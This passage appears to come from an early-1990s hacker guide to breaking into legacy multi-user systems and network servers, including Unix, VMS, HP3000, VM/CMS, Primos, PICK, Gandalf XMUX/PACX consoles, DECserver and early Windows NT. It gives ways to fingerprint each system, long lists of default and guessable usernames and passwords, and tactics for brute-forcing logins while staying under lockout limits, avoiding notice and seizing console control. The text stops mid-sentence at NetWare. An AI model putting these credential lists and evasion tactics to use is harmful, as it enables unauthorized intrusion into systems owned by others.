adm,sysadm,sysadmin,operator,manager anon anonymous anonuucp anon, uucp, nuucp anonymous anon asg device devadmin audit auth backappl backup save, tar batch bbx blast bupsched cbm cbmtest checkfsys control cron csr support, custsup dbcat database, catalog default user, guest demo tour, guest dev devel devshp diag sysdiag, sysdiags, diags, test diags diag, sysdiag, sysdiags dialup dos fax field fld, service, support, test filepro finger fms friend guest, visitor games general gp gsa guest visitor, demo, friend, tour help host hpdb info informix database ingres database inquiry install journal journals kcml learn lib library, syslib link listen lp print spooler lpadmin lpadmin lp, adm, admin lpd ls mail maint sysmaint, service makefsys man manager mgr, man, sysmgr, sysman, operator mdf menu mountfsys ncrm ncr net network netinst inst, install, net, network netman net, man, manager, mgr, netmgr, network netmgr net, man, manager, mgr, netmgr, network network net newconv news nobody anon nuucp anon oasys oa odt opendesktop online openmail mail oper operator,manager,adm,admin,sysadmin,mgr operator sysop, oper, manager opp oracle database oraclev5 oracle, database oradev oracle pcs pcsloc pctest postmaster mail powerdown shutdown priv private prod pub public public pub reboot remote report rha rje rsm rsmadm rsm, adm, admin rusr sales sas save backup savep service field, support setup shutdown smtp mail softwork space startup su sundiag sysdiag, diag, diags, sysdiags suoper su, oper, operator super supervisor, manager, operator support field, service sync sysadm adm, admin, operator, manager sysdiag diag, diags, sysdiags sysinfo info sysmaint maint, service sysman manager,mgr,man,admin,operator,sysadmin sysmgr manager,mgr,man,admin,operator,sysadmin system sys, unix, shell, syslib, lib, operator systest test, tester, testuser, user test tester, testuser, systest, user tester test, user, testuser testuser test, tester, user, systest tftp tour demo, guest, user, visitor transfer tty tutor tutorial umountfsys unix unixmail mail, unix user guest, demo userp user usr user usrlimit utest uucpadm adm, admin, uucp uuadm uucp, adm uuadmin uucp, admin uuhost uucp, host uulog uucp, log uunx uucp uupick uucp, pick uustat uucp, stat uuto uucp, to uux uucp va vashell vax visitor guest, friend, demo, tour vlsi vmsys vsifax who wp wp51 vm, face x25 pad x25test test x400 VMS- DEC's Virtual Memory System commonly runs on VAX computers. It is another very widespread system, with many users world wide. VMS will have a 'Username:' prompt, and to be sure just type in a ',' for a username. A VMS will throw back an error message on special delimeters. You will standardly get 3 and only three login attempts, and VMS is not kind enough to let you know when you have entered an incorrect username. Once inside you will find yourself at a $ prompt. COMMON ACCOUNTS: Username Password -------- -------- backup batch dcl dec decmail mail decnet default default, user dialup demo guest dsmmanager dsm, manager dsmuser dsm, user field field, service, support, test, digital games guest visitor, demo help helpdesk help_desk helpdesk host info ingres database interactive link local mail mailer mail mbmanager mb, manager, mgr, man mbwatch watch, mb mpdbadmin mpdb, admin netcon net, network netmgr net, manager, mgr, operator netpriv network, private, priv, net netserver network net newingres ingres news operations operations operator oper, manager, mgr, admin, opervax operator, vax ops oracle pcsdba pfmuser pfm, user postmaster mail priv private remote report rje remote, job, entry student suggest suggest sys sysmaint sysmaint, maint, service, digital system manager,operator,sys,syslib systest uetp,test systest_clig systest, test tapelib teledemo demo test testuser, tester uetp user test, guest, demo userp user vax vms visitor guest, demo wpusers HP3000- HP3000 mainframes run the MPE series of operating systems, such as MPE, V, ix, X, and XL. The default login prompt is ':', but this can be prefaced with characters(ie: 'mentor:') and in some cases the ':' may be taken completely away (ie: 'mentor'). To check for a HP3000, hit a <CR>, you will get an error message such as this; EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON. (CIERR 1402) To login type 'hello', followed by the login information, which is in this format: USER.ACCOUNT,GROUP. The group is optional, but may be needed in some cases, and can give you different file sets and the sort. A great thing about HP3000's is they tell you exactly what is incorrect about the login name you've supplied them, be it the account is valid but the username is wrong, or the other way around. But unfortunely, if the system operators choose, they may password ALL of the login name segments; username, account and group. The internal prompt for MPE's is, again, :. 'Help' will give you help when inside a HP3000. When entering accounts, i'd suggest not to use a group at first. If you receive the error message 'not in home group', then try the group PUB, then if even that fails, move on to the common group list. I didn't list passwords along with the accounts, as it would be a bit of an awkward format, because of MPE's awkward format. The only manufacturer default passwords I am aware of are 'hponly', for mgr.telesup, 'lotus', for mgr.sys, and 'hpword' for field.support. Just remember to try the various parts of the account as a password, and anything else along those lines. If you need a password for the following user.accounts & groups, try the various parts of the name plus any combinations of it or names with obvious links to it(ie: field=service). COMMON ACCOUNTS: Username.Account ---------------mgr.3000devs mgr.acct mgr.backup manager.blast manager.blast1 mgr.ccc spool.ccc mgr.cnas manager.cognos mgr.cognos operator.cognos mgr.common mgr.company mgr.conv mgr.corp mgr.cslxl mgr.demo operator.disc mgr.easy mgr.easydev mgr.extend mgr.hpdesk mgr.hplanmgr field.hpncs mgr.hpncs advmail.hpoffice deskmon.hpoffice mail.hpoffice mailman.hpoffice mailroom.hpoffice mailtrck.hpoffice manager.hpoffice mgr.hpoffice openmail.hpoffice pcuser.hpoffice spoolman.hpoffice x400fer.hpoffice x400xfer.hpoffice wp.hpoffice mgr.hponly mgr.hpoptmgt field.hpp187 mgr.hpp187 mgr.hpp189 mgr.hpp196 mgr.hppl85 mgr.hppl87 mgr.hppl89 mgr.hppl96 mgr.hpskts mgr.hpspool mgr.hpword mgr.hpx11 dpcont.hq mgr.hq mgr.indhpe mgr.infosys mgr.intx3 manager.itf3000 mail.mail mgr.netbase mgr.netware operator.netware mgr.orbit mgr.prod mgr.rego mgr.remacct mgr.rje manager.security mgr.security mgr.sldemo mgr.snads mgr.softrep mgr.speedwre mgr.spool manager.starbase field.support mgr.support operator.support exploit.sys manager.sys mgr.sys operator.sys pcuser.sys rsbcmon.sys operator.syslib sysrpt.syslib mgr.sysmgr operator.system mgr.tech mgr.techxl mgr.telamon field.hpword mgr.opt manager.tch field.telesup mgr.telesup sys.telesup mgr.tellx monitor.tellx mgr.utility mgr.vecsl manager.vesoft mgr.vesoft mgr.word field.xlserver mgr.xlserver mgr.xpress COMMON GROUPS: admin advmail ask brwexec brwonlne brwspec bspadmin bspdata bspinstx bsptools catbin1 catbin2 catlib classes config console convert creator curator currarc current dat data database delivery deskmon devices diadb diag diafile diaipc doc docxl document dsg easy ems emskit etdaemon example examples ezchart galpics graphics hold hpaccss hpadvlk hpadvml hpdesk hpdraw hpecm hpemm hpenv hpgal hphpbkp hplibry hplist hplt123 hpmail hpmap hpmenu hpprofs hpsw hptelex ibmpam idl idlc idpxl include infoxl instx internal itpxl job lib libipc library mailconf maildb mailhelp mailjob maillib mailserv mailstat mailtell mailxeq mediamgr memo memory mgr mmgrdata mmgrxfer mmordata mmorxfer monitor mpexl ndfiles ndports net network nwoconf office oldmail oper operator out pascalc patchxl pcbkp ppcdict ppcsave ppcutil prntmate prog prvxl pub pubxl qedit ref request restore sample sbase sfiles signal sleeper snax25 sql sruntime subfile suprvisr sx sys sysmgr sysvol tdpdata telex telexjob text tfm ti tools transmit user users validate viewlib visicalc wp wp3 x400data x400db x400fer x400file xspool VM/CMS- The VM/CMS Operating System is found on IBM mainframes, and while there are quite a few out there, they are commonly left alone by hackers who prefer Unix or VMS. VM/CMS systems are commonly found gated off Sim3278 VTAMs and ISM systems as well. The login prompt for CMS is '.', but additional information might be given before the prompt, such as; Virtual Machine/System Product ! . or; VM/370 ! . and frequently over to the side; LOGON userid DIAL userid MSG userid message LOGOFF but they all represent a VM/CMS system. To logon, type 'logon' followed by the username, which is usually 1 to 8 characters in length. To be sure it is a CMS, type 'logon' followed by some random garbage. If it is a VM/CMS, it will reply; Userid not in CP directory This is one of the great things about CMS, it tells you if the login ID you entered is incorrect, thus making the finding of valid ones fairly easy. One thing to watch out for.. if you attempt brute forcing some systems will simply shut the account or even the login facility for some time. If that is the case, find out the limit and stay just underneath it.. drop carrier or clear the circuit if necessary, but if you continually shut down the login facilities you will raise a few eyebrows before you even make it inside. Once inside, typing 'help' will get you a moderate online manual. COMMON ACCOUNTS Username Password -------- -------- $aloc$ admin operator, manager, adm, sysadmin, sysadm alertvm alert ap2svp apl2pp autolog1 autolog autolog2 autolog batch batch1 batch batch2 batch botinstl ccc cms cmsbatch cms, batch, batch1 cmsuser cms, user cpms cpnuc cprm cspuser user, csp cview datamove demo1 demo demo2 demo direct dirmaint dirmaint1 diskcnt entty erep formplus fsfadmin fsftask1 fsftask2 gcs gcsrecon idms fsf, adm, sysadmin, sysadm, admin, fsfadm idmsse iips infm-mgr infm, man, manager, mgr inoutmgr mgr, manager ipfappl ipfserv ispvm ivpm1 ivpm2 maildel mailman maint service moeserv netview network, view, net, monitor oltsep op1 opbackup backup operatns op, operator, manager, admin operator op, operatns, manager, admin opserver pdm470 pdmremi peng presdbm dbm procal prodbm prod promail psfmaint maint pssnews news pvm router rscs rscsv2 savsys sfcm1 sfcntrl sfcm sim3278 smart sna sqldba database sqluser user, sql syncrony sysadmin admin, adm, sysadm, manager, operator sysckp sysdump1 sysdump syserr syswrm tdisk disk, temp temp tsafvm vastest test vm3812 vmarch vmasmon vmassys vmbackup backup vmbsysad vmmap map vmtape tape vmtest test, testuser vmtlibr vmutil util, utils vseipo vsemaint maint vseman vsm vtam vtamuser user, vtam x400x25 PRIMOS- Run on the Prime company's mainframes, the Primos Operating System is in fairly wide use, and is commonly found on Packet-Switched Networks worldwide. Upon connect you will get a header somewhat like PRIMENET 23.3.0 INTENG This informs you that it is indeed a Primos computer, the version number, and the system identifier the owner picked, which is usually the company name or the city the Primos is located in. If you find a Primos on a network, you will receive the Primenet header, but if it is outside of a network, the header may be different(ie:Primecon). Hit a number of <CR>'s, and Primos will throw you the login prompt 'ER!'. At this point, type 'login' followed by your username. If hitting <CR>'s did not provoke an 'ER!', then type 'login' followed by your username. If you are blessed and you find some stone age company running 18.0.0 or below, you are guaranteed access. Just find a username and there will be no password prompt. If for some reason passwording exists, a a few control-C's should drop you in. Unfortunely, Primos almost always allows one and one attempt only at a username/password combination before it kicks you off, and Primos will not tell you if the ID you've entered is invalid. Once you are inside, you will find yourself at the prompt 'OK'. 'help' brings up a so-so online help guide. COMMON ACCOUNTS Username Password -------- -------- backup backup_terminal batch_service batch bootrun cmdnc0 demo diag dos dsmsr dsm dsm_logger dsm fam games guest guest1 guest lib libraries login_server mail mailer netlink net, primenet netman manager, man, mgr, netmgr network_mgt netmgt network_server server prime primos, system primenet net, netlink primos prime, system primos_cs primos, prime, system regist rje spool spoolbin spool syscol sysovl system system_debug system_manager tcpip_manager tele test prime, primos, sys1, operator timer_progress tools TOPS-10/20- An older and somewhat rare operating system, TOPS-10 ran on the DEC-10/20 machines. You can usually recognize a TOPS-10 by its' prompt, a lone period '.', while a TOPS-20 will have a '@' in its place. Most systems allow you to enter the commands 'SYSTAT' or 'FINGER' from the login prompt, before logging in. This command will let you see the users online, a valuable aide in hacking. To login, type 'login xxx,yyy', where the x and y's are digits. TOPS-10 does let you know when your username is incorrect. COMMON ACCOUNTS IRIS- User ID Code Password ------------ -------- 1,2 OPERATOR, MANAGER, ADMIN, SYSLIB, LIB 2,7 MAINT, MAINTAIN, SYSMAINT 5,30 GAMES Unfortunely, i have no experience with IRIS whatsoever. To this day i haven't even seen one. So with regret i must present old material, the following info comes entirely from the LOD/H Technical Journal #3. Hopefully it will still be applicable. The IRIS Operating System used to run soley on PDP systems, but now runs on many various machines. IRIS will commonly present itself with a herald such as; "Welcome to IRIS R9.1.4 timesharing" And then an "ACCOUNT ID?" prompt. IRIS is kind enough to tell you when you enter an incorrect ID, it won't kick you off after too many attempts, and no logs are kept. And strangely enough, passwords are not used! So if you can find yourself an IRIS OS, try the following defaults and you should drop in.. COMMON ACCOUNTS Username -------accounting boss demo manager noname pdp8 pdp11 software tcl NOS- The NOS(Network Operating System) is found on Cyber mainframes made by CDC(the Control Data Corporation). Cyber machines are commonly run by institutions such as universities and atomic research facilities. Cybers will usually give a herald of some sort, such as Sheridan Park Cyber 180-830 Computer System or Sacremento Cyber 180-830 CSUS NOS Software System The first login prompt will be 'FAMILY:', just hit <CR>. The next prompt is 'USER NAME:'. This is more difficult, usually 7 characters. The password is even worse, commonly 7 random letters. Sound bad? It is. Brute forcing an account is next to impossible. I've never seen these defaults work, but they are better than nothing. I got them out of the LOD/H Novice's Guide to Hacking, written by the Mentor. There are no known passwords for these usernames. COMMON ACCOUNTS Username -------$SYSTEM SYSTEMV DECSERVER- The Decserver, is as the name implies, a server made by the Digital Equipment Corporation, the same company that makes the VAX machines. It is possible the owner of the server put a password on it, if this is the case you will hit a # prompt. If the server has PADs or outdials on it, you can bet this is the case. You don't need a username, just the password. You will commonly get 3 tries, but it can be modified. The default password is 'access', but other good things to try are ; server, dec, network, net, system (and whatever else goes along with that). If you get past the #, or there isn't one, you will hit the prompt 'Enter Username>'. What you put really doesn't matter, it is just an identifier. Put something normal sounding, and not your hacker alias. It is actually interesting to look at the users online at a Decserver, as commonly there will be a few users with the username C or CCC or the like, usually meaning they are probably a fellow hacker. Also, at the Enter Username> prompt you are able to ask for help with the 'help' command, which spews out fairly lengthly logon help file. If all went well you should end up at a 'Local>' prompt. Decservers have a fairly nice set of help files, simply type 'help' and read all you want. It is a good idea to do a 'show users' when you first logon, and next do a 'show services' and 'show nodes'. The services are computers hooked up to the Decserver, which you can access. For obvious reasons you will often find many VAX/VMS systems on Decservers, but pretty much anything can be found Look for services titled Dial, Modem, PAD, X25, Network, or anthing like that. Try pretty much everything you see. Remember to try the usernames you see when you do a 'show users' as users for the systems online. Also, you will sometimes find your Decserver has Internet (Telnet, SLIP or FTP) access, make sure you make full use of this. To connect to the services you see, use 'c XXXX', where the X's represent the service name. Once inside, the manufacturer's default for privs is 'system' and it is rarely changed. The maintenance password changes from version to version. With the Decserver 200 & 500 it is 0000000000000000 (16 0's), but with 300 it is simply 0. GS/1- GS/1's are another server type system, but they are less common than the Decservers. The default prompt is 'GS/1>', but this can be changed to the sysadmins liking. To check for a GS/1, do a 'sh d', which will print out some statistics. To find what systems are available from the server, type 'sh n' or a 'sh c', and a 'sh m' for the system macros. XMUX- The XMUX is a multiplexing system that provides remote access, made by Gandalf Technologies, Inc., Gandalf of Canada Ltd. in Canada. As far as I can tell, the XMUX is used only on Packet-Switched Networks, Datapac in particular but with usage on PSNs world wide. The XMUX is not usually thought of as a stand alone system, but as a supportive system for multi-user networked systems, having a bit to do with system monitoring, channel control, and some of the features of multiplexing. Thus, you'll commonly find a XMUX on a mnemonic or a subaddress of another system, although you will find them alone on their own NUA frequently as well. To find the systems on a subaddress or a mnemonic, your best bet is to go with mnemonics, as the LOGGER mnemonic cannot be removed, while subaddressing is optional. You won't always want to check every single system, so i'll give a guideline of where to check; (REMINDER: this is only for systems on PSNs, and may not apply to your PSN) - PACX/ : The PACX/Starmaster is also made by Starmaster Gandalf, and the two are tightly Systems interwoven. If mnemonics don't work, be sure to try LCNs, as the CONSOLE on a PACX/Starmaster is an entirely different thing, and frequently using the mnemonic CONSOLE will bring you to the PACX console, not the XMUX console. - BBS Systems : BBS Systems on PSNs frequently need some help, and XMUXs are fairly commonly found with them. - Other misc. systems : Many of the other operating systems, such as Unix, AOS/VS, Pick and HP3000 have the occasional XMUX along with it. - Networked systems : A good portion of networked systems have XMUXs. If a system does have a XMUX also, you can reach it almost always by the mnemonic CONSOLE, and if not, the node name of the XMUX. If that doesn't work, try LCNs up to and including 15. Occasionally the console of the XMUX will be unpassworded, in which case you will drop straight into the console. The XMUX console is self-explanatory and menued, so i will leave you to explore it. However, in all likeliness you will find yourself at the password prompt, 'Password >'. This can not be modified, but a one-line herald may be put above it. To check for a XMUX, simply hit <CR>. It will tell you that the password was invalid, and it must be 1 to 8 alphanumeric characters. As you can see, you do not need a username for the remote console of a XMUX. UIDs are used, but internally within the workstation. As it says, the password format is 1 to 8 alphanumeric characters. There is no default password, the console is left unprotected unless the owner decides to password it. However, there are common passwords. They are; console, gandalf, xmux, system, password, sys, mux xmux1 I'll repeat them in the common passwords again later. But these will not always work, as it is up to the owner to pick the password(although they do like those). Your next best bet is to find out the node name of the XMUX (XMUXs are polling systems as well, usually hooked up somehow to one of the regional hubs). To do this, you must understand the parts of the XMUX. The XMUX has 4 default parts; the CONSOLE, the FOX, the LOGGER, and the MACHINE. I'll try and define the usage of them a bit more; CONSOLE- the main remote part of the XMUX, which performs all the maintenance functions and system maintenance. the actual system. reachable usually on the LCN(subaddress) of 0 or 4/5, and the default mnemonic CONSOLE, which can be changed. FOX - a test system, which runs through never ending lines of the alphabet and digits 0-9. reachable on the LCN of 1, mnemonic FOX. LOGGER - a device which displays log information, usually one or two lines, including the node name. reachable on the LCN of 2, mnemonic LOGGER. MACHINE- a system which i do not yet understand fully. performs some interesting functions. the prompt is '#'. type 'S' and you will(always) receive a short/long (depending on how much the system is used) system status report, containing among other things the system node name. if active, typing 'L' will bring up a more complete system log. This is VERY useful. It contains the NUAs of the systems which called the XMUX, and it contains the UIDs if used. As you can see, the XMUX is rather complicated upon first look, but it is actually fairly simple. The easiest way to grab the node name is to call the LOGGER. The logger MUST be present, always. It is a non-removable default. The LCN may be removed, but the mnemonic must stay. I explained mnemonics earlier, but i'll refresh your memory. To use the mnemonic, simply type the NUA, followed by a comma and then the mnemonic, ie; 12300456,LOGGER The very first thing in the data string you see is the node name. If it is a blank space, you have run across a rarity, a XMUX without a node name. The node name is THE most popular thing other than the other common passwords. Try combinations of it, and combinations of it along with the words XMUX and MUX. And of course, if a herald is used, use whatever you can find in the herald. But again, if it is a company, they love to use the company name or acronym as a password, and that acronym or name will often be the node name. Ok, have fun.. COMMON ACCOUNTS Console Passwords ----------------CONSOLE XMUX GANDALF SYSTEM PASSWORD MUX XMUX1 SYS (node name) One other thing. I did not include the profile or remote profile names, or the UIDs, as they are as far as i know inapplicable from remote. And a final comment. XMUXs are powerful and potentially extremely harmful to a network. DO NOT DELETE ANYTHING. The only submenus you will have reason to access are 'DEFINE' and 'DISPLAY'. Don't boot people off channels or add console passwording or remove profiles..you will end up with your ass in jail. Taking down a network is less than funny to the people that run it. Explore, don't harm. STARMASTER- The Starmaster/PACX 2000 is still a somewhat mysterious /PACX system, but i have now explored all the security barriers as well as the network and the internal functions, so i feel this is fairly complete. The Starmaster/PACX system is a networking/server system made by, again, Gandalf Technologies Inc., Gandalf of Canada Ltd., in Canada, and is also known informally (and some what incorrectly) as the 'Gandalf Access Server.' The Access is similar, but different, as described later. It is a fairly popular system on Datapac, and has some usage in other regions of the world. Again, it is used mainly on Packet-Switched Networks, although, thanks to the dialing directory of a Sam24V outdial on a Starmaster, I have discovered that Starmasters do indeed have dialin access. The first possible security barrier is the dialin password, which is rarely used, but you should know about. The prompt is usually ; DIALIN PASSWORD? But can be changed, although it should remain similar. Dialin passwords are 1 to 8 characters, and are usually one of the following defaults; GANDALF SERVER PACX NET NETWORK STARMAST DIALIN PASSWORD ACCESS If the Starmaster has a XMUX resident(explained in previous system definition; XMUXs), find out the node name and try it. The next possible security barrier is that the sysadmin desires the users to enter a username/password before entering the server. You will find yourself at a prompt such as; USERNAME? This is the most common prompt. Usernames are 1 to 8 characters, and the Starmaster will let you know if it is wrong or not with an error message such as; INCORRECT USERNAME or INVALID RESPONSE This, like the username prompt, can be changed, but it will usually be in all-caps. You are allowed between 1 and 10 attempts at either a valid username or a valid password, depending on the owners preference. This means(if it is set to ten tries) you can enter 9 invalid usernames, and on the tenth enter a valid username, then have 10 attempts at a valid password. The defaults for this(which i will list later also) prompt are; TEST, TESTUSER, TESTER, GANDALF, SYSTEM, GUEST USER, HP, CONSOLE, and finally OPERATOR. Also, first names will work usually. The next prompt you will face, or the first one if usernames are not implemented, is the server prompt. This is the main user prompt for a Starmaster, all major user commands are used from here. But as you can guess, commands aren't used really, it is service names you desire. Sometimes you will get a list upon entering the server, but other times you will just hit the server prompt, which usually looks something like; SERVICE? or CLASS? or even service? or class? or service Or whatever the sysadmin feels like. 'SERVICE?' is the default, and the most common. Keep in mind that the services CAN be passworded, but rarely are. In the case of passwording, use your imagination. Another thing; from the PACX console, where the services are defined, there is an option which decides whether the service is allowed for remote users. If this is set to NO, then you are out of luck, you have to be in the workstation to use the command. This is common for the CONSOLE and the MAIL, and occasionally modems and PADs. You will get an error message something like 'SERVICE NOT ALLOWED'. I will give a more complete list of common services, but I will list the defaults and the major ones now. PAD, X25, X28- Will commonly take you to a Gandalf PAD, (or name of for which the default prompt is '*'. your PSN) 'HELP' will bring up a list of commands. MAIL - A non-removable default, but i've never seen it with the remote access flag in the ON position. CONNECT - Another non-removable default which i have never seen with the remote access flag in the on position. MODEM, DIAL - And variations therof. The common outdial is the Gandalf made Sam24V, which comes with a great set of help files. CONSOLE - The motherlode. The system controller, maintenance computer, test machine, and all of that. DON'T confuse the PACX console with the XMUX console, they are two very different things. The console should be protected by the sysadmin with his/her life, as every faction of the Starmaster is controlled from within the Console. The CONSOLE is a non-removable service from the server, BUT remote access can be removed thus cutting off our means of getting to it. Try it first, if it works the screen will scroll down a number of lines and give this herald/prompt; GANDALF TECHNOLOGIES INCORPORATED, COPYRIGHT 1990 OPERATOR NAME? This is not changable, it will remain the same except for possibly the copyright date. There can be 8 operators at the most, and they will have 1 to 8 characters in their name and password. And again, the PACX will tell you if your operator name is incorrect. You will be allowed 1 to 10 attempts at the login name and then it resets to 0 for the password attempt when you've found an operator name, but same limit. The same defaults for the usernames work here, if you are lucky, with the exception of HP. I'll list them again at the end. Once you get in, it is all menued and explanatory. DON'T FUCK THINGS UP. By that I mean deleting or modifying. Look. There is MUCH to see. The PACX console is incredibly powerful, and you will have much more fun exploring it. Besides, once you are in the console, the game is over. You have control over all the services, users, and all security barriers. If you get a high level console account, you are the God of the PACX, no joke. COMMON ACCOUNTS Usernames Passwords --------- --------- CONSOLE CONSOLE, PACX, GANDALF, OPERATOR, SYSTEM GAND GAND GANDALF GANDALF, SYSTEM, PACX, STARMAST, SYS GUEST GUEST, VISITOR, USER HP HP OPERATOR OPERATOR, SYSTEM, SYSLIB, LIB, GANDALF SYSTEM SYSTEM, SYS, OPERATOR, PACX, SYS, GANDALF TEST TEST, TESTUSER, USER, TESTER TESTUSER TEST, TESTUSER, USER, TESTER TESTER TEST, TESTUSER, USER, TESTER USER USER, GUEST, TEST, VISITOR, GANDALF (i've never seen an account such as MAINT, but i would guess one exists, along with standard system defaults. Try anything outside these lines) Services -------1 (if it works; higher) A (through Z) 10 (if it works; higher in sequence of tens) BBS CLUSTER CONNECT CONSOLE DATABASE DATAPAC DEC DIAL DIALOUT FILES FTP GATEWAY GEAC HELP HP INTERNET LIB LIBRARY LOOP MAIL MENU MODEM MUX NET NETWORK OUT OUTDIAL PACX12 PACX24 PACX96 PAD PRIME PRIMOS PROD SALES SERVER SUN SUNOS SYS SYSTEM TELNET TYMNET UNIX VAX VMS X25 X28 XCON XGATE XMUX And anything else you can think of. First names are also fairly common. Operator Name Password ------------- -------- TEST TEST, TESTUSER, USER, TESTER TESTUSER TEST, TESTUSER, USER, TESTER TESTER TEST, TESTUSER, USER, TESTER GANDALF GANDALF, SYSTEM, PACX, CONSOLE, SYS GUEST GUEST, VISITOR, USER SYSTEM SYSTEM, SYS, OPERATOR, PACX, SYS, GANDALF CONSOLE USER USER, GUEST, TEST, VISITOR, GANDALF OPERATOR OPERATOR, SYSTEM, CONSOLE, GANDALF CONSOLE CONSOLE, PACX, GANDALF, OPERATOR, SYSTEM SYS SYS, SYSTEM, GANDALF, PACX, CONSOLE And again, try first names and ANYTHING you can think of. Getting into the console should be your main objective. ACCESS2590- The Access2590 is another Gandalf creation. While it is a server system, it is different in some respects to a PACX. The Starmaster generally only connects computers on a local or wide area network(they do connect to X.25 & IP addresses, but they *usually* don't), while the Access 2590 connects to local & wide area network services, X.25 address, and IP addresses with suprising versatility. The PACX is, however, in much wider distribution. It will usually have an initial herald screen, often letting you know that it is indeed an Access server made by Gandalf. If the operator wishes he can include a menu of services with their respective descriptions in this provided space. Then you will find yourself at a prompt, the default being "Access 2590 >". I haven't seen any sort of initial protection before you hit that prompt, but i'm betting it does exist, and it probably goes along the lines of the PACX. Follow the trend I set with the PACX and you should do fine. Anyways, the one thing I like so much more about the Access 2590 compared to the Starmaster is the command "show symbols" . That was one of the big problems from a hacking point of view with the PACX; it doesn't have a command available to show you the services. If you get console access on the PACX you can get a listing of services that way, but you simply cannot hack a console account everytime, and besides that often the owner will have turned the remote console access flag off. If the operator wanted to give you help with services he had to take the initiative himself and design a herald screen or implement a help service, and few do. But the "show symbols" on an Access will give you a listing of all the available "symbols", which is Gandalf's term for services. Connect to them with "c xxx" where "xxx" is of course the service. And yes, to you eager folks who have tasted the PACX console's power, the Access does have a console. Type "c console" to get to it. Follow the PACX's guidelines, and you'll do fine. PICK- The PICK system was created by Dick Pick(no joke), and is a fairly widespread system, there are a few of them out there on the major PSNs. I really dislike PICK, but for those of you wishing to try it yourself, it is a fairly easy hack. A normal PICK login prompt looks somewhat like; 07 JUN 1993 04:00:21 Logon please: Additional data can be entered in that line, and a header may be used above that. However, PICKs are usually recognizable by that logon prompt which will normally contain the date and time, as well as the 'Logon please:'. If you aren't sure, enter the username 'SYSPROG', in ALL CAPS , as PICK is case sensitive and SYSPROG will be in capitals. SYSPROG is the superuser(or as PICK calls it the 'Ultimate User') and is similar to root on a Unix; it must be present. PICK lets you know when you've entered an invalid Username, which is helpful when finding valid accounts. Experiment with the upper and lower case if you wish, but upper case is the norm. The people who make PICK like to think of PICK as more a DBMS than an OS, and it is often sold just as that. Because of that, you may find it on Unix, MPE, and Primos based systems among others. One last note, internal passwording is possible on the PICK, so don't be too suprised if you think you've found an unpassworded system only to be hit by a password before the internal prompt. COMMON ACCOUNTS Usernames Passwords --------- --------- 1 ACC ACCT ACCTNAME ACCUMATH ACCUPLOT ACCUPLOT-DEMO ARCHIVE ACCUPLOT, DEMO AUDITOR AUDITORS BACKUP BATCH BLOCK-CONVERT BLOCK-PRINT COLDSTART COMBINATION COMM COMTEST CPA CPA.DOC CPA, DOC CPA.PROD CPA, PROD CTRL.GROUP CTRL, CONTROL DEMO DA DCG DEV DM DATA, MANAGER, MAN, MGR, DATAMGR, DATAMAN DOS ERRMSG EXCEPTIONAL EXECUTE-CONTROL EXPRESS.BATCH EXPRESS, BATCH FILE-SAVE FILESAVE, SAVE FILE-TRANSFER FINANCE FLUSHER FMS FMS.PROD FMS, PROD GAMES GAMES.DOS GAMES GENERAL INSTANT INSTANT.DOS JOB INSTANT KILL LEARN LEARN.DLR LEARN, DLR, LEARNDLR LOGON LOTUS LOTUS.DOS LOTUS MAIL.BOX MAIL MINDER MODEM-SECURITY MOTD.DATA MOTD NETCOM NET.OFF NETOFF NETUSER NETWORK NEWAC NOLOG OLD.USER ON-LINE-DIAGS DIAGS PERFECT-BKGRND POINTER-FILE PRICE.DOS PRICE PRICES.DOS PRICES PROCLIB PROC, LIBRARY, LIB PROD PROMCOR PROMIS-ARCHIVE PROMIS, ARCHIVE PROMIS-BKGRND PROMIS, BKGRND PROMO PWP QA QUALITY, CONTROL SCC.SYSPROG SCC, SYSPROG SCREENLIB SECURITY SET.PLF SL SET, PLF, PLFSET SPSYM STUDENT SUPPORT SYM.DOS SYM SYS SYS.DOC SYS SYSLIB SYSTEM, LIBRARY, SYS, LIB SYSPROG SYSTEM, PROGRAM, SYS, PROG, OPERATOR, DM SYSPROG-PL SYSPROG, PL SYSTEM-ERRORS TCL TEMP TEMP-SYSPROG TEMP, SYSPROG TEST TEST-BKGRND TEST TRAINING TRY.DOS TRY ULTICALC ULTILINK ULTIMATION UNIMAX WORDS WP WP.DOS WP WP42.DOS WP, WP42 WP50.DOS WP, WP50 WP51 WP, WP51 WP51.DOS WP, WP51 XES AOS/VS- AOS/VS is made by Data General Corporation(DGC), and is in my opinion the worst operating system i've seen yet. But, in the quest of knowledge, and to broaden your computer horizons, i suggest that you try to hack even this system, for what it's worth. The AOS/VS will usually readily identify itself with a banner such as; (yes, i'm overstepping my margin, i apologize) **** AOS/VS Rev 7.62.00.00 / Press NEW-LINE to begin logging on **** AOS/VS 7.62.00.00 / EXEC-32 7.62.00.00 11-Jun-93 0:27:31 @VCON1 Username: The username prompt looks deceivingly like a VMS, but it is not, and you can be sure by entering garbage for the username and password. The AOS/VS will reply; Invalid username - password pair AOS/VS will not let you know when you've entered an incorrect username. And a standard system will let you have 5 tries at a username/ password combination, but after that it gives this annoying message; Too many attempts, console locking for 10 seconds Having the system lock for 10 seconds does really nothing to the hacker, except slow brute forcing down a small bit(10 seconds). Anyways, once inside 'HELP' will give you a set of help files which i didn't enjoy too much, and 'WHO' will list the users online. COMMON ACCOUNTS Username Password -------- -------- guest op operator, op sysmgt sys, mgt, system, man, mgr, manager test user RSTS- Probably the oldest OS that is still out there is RSTS. RSTS was a very common OS a decade or so ago, but is now nearing extinction. However, there are still a few out there on PSNs, and thus you might want to attempt to hack in. The RSTS will usually identify itself like; RSTS V9.7-08 93.06.10 02:36 User: Before attempting to hack, try the SYSTAT command. It is likely it will be disabled, but it is worth a try. RSTS will tell you if the ID you've entered is incorrect with the error message; ?Invalid entry - try again The UIDs are in the format xxx,yyy , where x and y are digits. Just guess at UIDs until you hit one with a password. Also, the IDs will generally not go above 255 in both the x and y spots(ie: 255,255 is generally the highest ID). COMMON ACCOUNTS WNT- User ID Password ------- -------- 1,2 SYSLIB I really don't know much about Windows NT, mostly having to do with the fact that it was just released a little while ago and I have not seen it in action to this date. I don't know at what time in the future it will become widespread, but for you future hackers I did a little research and came up with the two manufacturer defaults; administrator and guest. Both come unpassworded.. administrator is the equivalent to root on a Unix, and guest is just as you'd expect .. a low level guest account. Interestingly enough, in the manuals I saw WNT sysadmins were encouraged to keep the guest account... unpassworded at that! Highly amusing.. let's see how long that lasts! Anyways.. Oh yeah.. case sensitive, too.. I'm pretty sure it is lowercase, but it is possible that the first letter is capitalized. Remember that when attempting to brute force new accounts. Oh, and keep in mind possible accounts such as "test" and "field" and the such. COMMON ACCOUNTS Username -------administrator guest NETWARE- Novell Netware is the most common PC 